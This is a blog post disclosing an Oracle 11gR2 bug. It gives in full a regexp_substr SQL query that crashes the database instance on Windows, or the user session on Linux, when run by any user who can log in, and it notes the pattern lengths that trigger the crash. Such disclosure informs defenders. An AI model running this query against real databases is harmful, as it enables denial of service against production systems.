Killing me softly…with this SQL
This is an old post that was on hold for several years, because I didn’t want to risk someone crashing our 11g R2 production servers with simple copy/paste from this site. In 2022 only fools still runs 11g in production, so I decided to release a test case to the public.
A few years ago I opened SR on MOS, because I considered the bug described in this blog as a serious one; basically Oracle built-in regexp functions allows anyone with a create session privilege to crash Oracle 11gR2 instance on Windows (and/or user session on Linux). Instead of fixing the bug in 11g R2, Oracle simply closed the SR as “solved” in 12c.
Well, if you have some legacy 11gR2 instance still up and running in 2022, then you can ask your DBA a question: “Do you feel lucky, punk? Do you…”;-)
With the query you’ll crash 11gR2 instance running on Windows (witouht a trace).
— We tested on 11gR2 up to and including >=BP Oct 2016.
— If you run the same query on 11gR2 on Linux (only) the user session will crash.
— Query runs fine on 10gR2 and 12cR1.
— If the query regex pattern is reduced to ~ 336 characters then even on Windows you’ll crash your user session and not the instance (with trace being generated!).
— If the query regex pattern is reduced even more, to ~ 304 characters the query will run fine without a crash.
with data as ( select 'This query will crash any 11gR2 instance on Windows and user session on Linux!' as demo from dual ) select demo, (case when regexp_substr(demo,'(\d+)G|(\d+)\sG|(\d+)G\s|(\d+)KG|(\d+)\sKG|(\d+)KG\s|(\d+)L|(\d+)\sL|(\d+)L\s|(\d+)ML|(\d+)\sML|(\d+)ML\s|(\d+)[,](\d+)G|(\d+)[,](\d+)\sG|(\d+)[,](\d+)L|(\d+)[,](\d+)\sL|(\d+)[,](\d+)KG|(\d+)[,](\d+)\sKG|(\d+)[,](\d+)ML|(\d+)[,](\d+)\sML|(\d+)[.](\d+)G|(\d+)[.](\d+)\sG|(\d+)[.](\d+)KG|(\d+)[.](\d+)\sKG|(\d+)[.](\d+)L|(\d+)[x](\d+)\sL|(\d+)[x](\d+)ML|(\d+)[.](\d+)\sML',1,1,'i') is null then 1 end) lol from data;
For those who wonder how did I come up with such regex expression, well, I did not. This regex is actually part of ETL production code; kudos goes to developer who put together this nifty little regex that determines from the data input a proper unit of […..].
I won’t tell what it does, because it’s so obvious from the code itself.